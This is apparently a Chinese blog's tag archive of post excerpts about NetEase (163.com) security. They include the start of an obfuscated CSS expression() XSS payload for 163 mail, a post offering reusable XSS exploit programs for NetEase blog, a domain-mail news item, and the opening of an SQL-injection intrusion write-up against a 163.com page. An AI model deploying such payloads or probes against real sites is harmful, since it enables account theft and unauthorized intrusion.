标签 ‘网易’ 下的日志
163邮箱expression漏洞
来源http://www.leapar.com/web/Article/ShowArticle.asp?ArticleID=475
<html>
<style>
body {
width:
expression(eval(String.fromCharCode(0x69,0x66,0x28,0x21,0x77,0x69,0x6e,
0x64,0x6f,0x77,0x2e,0x78,0x78,0x78,0x29,0x7b,0x77,
0x69,0x6e,0x64,0x6f,0x77,0x2e,0x78,0x78,0x78,0x3d,0x31,0x3b,
0x69,0x66,0x28,0x64,0x6f,
0x63,0x75,0x6d,0x65,0x6e,0x74,0x2e,0x62,0x6f,0x64,0x79,0x29,0x7b,
阅读全文 »
网易博客的60余个事件触发式漏洞与30余个XSS利用程式
来源：梦之光芒
本以为网易博客的安全性应该跟百度差不多，但这一看似乎还有些距离。有待改进哦！
这次测试的仅仅是事件触发式漏洞，对于90余个出发点，百度仅仅落掉4个：onbeforeupdate、ondataavailable、 onrowsdelete、onrowsinserted。并且这四个的利用都需要xml的支持，利用困难；而网易仅仅过滤了不到30个。（这里需要说明一下，漏洞和利用是两码事，不是所有漏洞都可以利用的；所以以后大家发现某站点的XSS点，不要大叫大嚷了，只会让别人笑话而已。Monyer也仅作学术研究，没太多技术而言！）
这里Monyer对其中相对容易触发的30余个事件写出利用程式，并且尽量利用div等常用免过滤标签，这些程式都是通用了，所以你可以直接拿过来去测试其他站点。
阅读全文 »
网易开始提供邮局
信息来源：cnBeta
继Google,微软,搜狗之后,网易126也提供以你的域名为后缀的电子邮局了.整个邮局空间是100G,自定义首页,配备全国最大最稳定的网易邮件系统!
我的huaidan.org申请google的邮局一直没通过，但是另外一个域名却一次就成功了，好是郁闷。。
现在网易也推出这样的服务了，我就用huaidan.org申请了一个，正等着MX记录生效。
暂时不确定是否免费，有可能是收费的。服务条款里有这样一句：
Tags: 网易网易Domain邮箱服务系统所有权、经营管理权和解释权归网易公司所有。用户如需使用该项服务，须仔细阅读并严格遵守网易制定的《网易Domain邮箱服务条款》（以下简称"本条款"），完成其他注册程序和缴纳所需费用之后，才能成为网易Domain邮箱服务的用户。
对网易的一次入侵检测-可以看成是Jsp+mysql的入侵
信息来源：Neeao's Security Blog
已发表于黑客X档案
BY 剑心[B.C.T]
转载注明出处
163.com是国内一家比较出名的门户网站，提供包括邮箱等等在内的各种服务，这样繁多的服务，不知道会不会在哪些地方存在漏洞哦！正好最近学习了一些注入知识就想对这些门户网站做点小小的安全检测，不知道他们的脚本像不像他们名声一样那么厉害哦！
废话就不说了，我们就去找那些传递参数的页面看看会不会不小心有那么一个参数没有过滤，那么我们就有空子可以钻了哦！网易的脚本基本上是采取的jsp和Php的形式，主站看样子是静态的，就不说了，其他的站那么多的jsp和php应该有问题吧！Php注入也被人研究烂了，注入的时候被Php的那个特性拦着也相当的不舒服，所以干脆就去找jsp的脚本，希望能找到一些没有过滤的参数。找了能打两把CS的工夫还真让我找到一个页面http://XXX.163.com/wap/content.jsp?id=120 阅读全文 »
